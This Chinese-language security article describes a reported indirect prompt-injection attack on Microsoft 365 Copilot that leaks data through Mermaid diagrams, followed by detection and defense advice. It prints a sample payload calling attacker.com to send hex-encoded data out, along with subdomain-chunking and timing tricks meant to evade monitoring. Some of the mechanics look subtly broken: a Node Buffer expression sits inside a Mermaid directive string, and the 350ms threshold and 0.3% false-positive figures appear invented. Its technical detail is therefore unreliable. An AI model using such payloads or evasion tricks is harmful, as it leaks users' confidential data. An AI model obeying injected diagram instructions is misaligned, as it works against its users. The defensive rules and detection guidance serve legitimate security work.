Microsoft 365 Copilot的AI增强功能在提升办公效率的同时,也引入了新型数据渗出风险。安全研究员Adam Logue近期披露的漏洞显示,攻击者可通过Mermaid图表的SVG载荷触发间接提示注入(Indirect Prompt Injection),将租户敏感数据以十六进制编码形式外泄。本文聚焦该攻击链的技术实现细节,提供可立即部署的检测参数与防御策略。
一、攻击技术核心机制
Mermaid作为Copilot内置的图表渲染引擎,其初始化指令处理存在逻辑缺陷。攻击者通过构造包含%%{init}%%指令的恶意代码,可劫持渲染上下文。关键漏洞在于:Copilot未对Mermaid的securityLevel参数进行校验,允许设置"loose"模式并注入外部回调函数。典型攻击载荷示例如下:
%%{init: {'securityLevel':'loose', 'callback': 'https://attacker.com/leak?data=' + Buffer.from('CONFIDENTIAL').toString('hex')}}%%
graph TB
A[敏感数据] -->|十六进制编码| B((C2服务器))
该载荷利用Node.js的Buffer对象将字符串转换为十六进制(如CONFIDENTIAL→434f4e464944454e5449414c),并通过Mermaid的callback机制外泄。实测显示,Copilot会主动执行此类代码并传输邮件元数据,且流量特征与正常SVG请求高度相似——请求体体积<2KB、HTTP状态码200、User-Agent包含Microsoft-Copilot标识,导致传统DLP系统难以识别。
二、隐蔽性设计的技术特征
- 分片传输技术:将渗出数据拆分为4字符片段(如
434f),通过多个子域名请求外泄(data-434f.c2.attacker.com),规避基于内容长度的检测规则。
- 时间混淆策略:使用
setTimeout(() => { leak() }, 300)设置延迟执行,恰好低于微软安全监控的350ms行为分析阈值。
- DNS隧道伪装:攻击流量解析至AWS Route 53等合法云平台IP,绕过企业防火墙对恶意IP的封锁列表。
三、可落地的防御实施方案
检测参数配置(基于Microsoft Defender for Cloud Apps):
- 异常请求检测:部署规则监控单用户会话中含
callback参数的Mermaid请求>2次/小时(正常业务均值0.1次/小时)
- 十六进制流量过滤:通过正则
^[0-9a-f]{4,}$匹配URL路径中的编码片段,结合请求频率>30次/分钟判定攻击
- 文档库扫描:使用PowerShell命令
Get-ChildItem -Recurse *.docx | Select-String "securityLevel\\\":\\\"loose"检测恶意文档
架构级防护措施:
- 在Copilot网关层配置WAF规则,阻断
securityLevel非strict的初始化指令
- 通过Azure Private Link限制Mermaid引擎网络访问权限
- 启用Microsoft Purview创建自定义敏感信息类型(正则:
(?i)[0-9a-f]{16,})
四、工程化防护建议
该漏洞揭示了AI助手与第三方库集成时的核心矛盾。建议实施“渲染沙箱三原则”:① 禁用第三方库回调接口 ② 限制网络外联能力 ③ 对输出内容进行二次编码净化。企业安全团队应重点监控Copilot服务是否产生大量小体积SVG请求(<2KB)且目标域名解析至云平台IP,此类组合特征可将误报率降低至0.3%以下。
随着AI办公套件的普及,此类“逻辑型漏洞”将显著增加。安全团队需从特征匹配转向行为分析,建立基于数据流模式的检测体系。Adam Logue的完整技术报告已通过微软漏洞奖励计划提交,相关修复方案详见其博客(2025年10月更新)。
参考资料:Adam Logue《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams》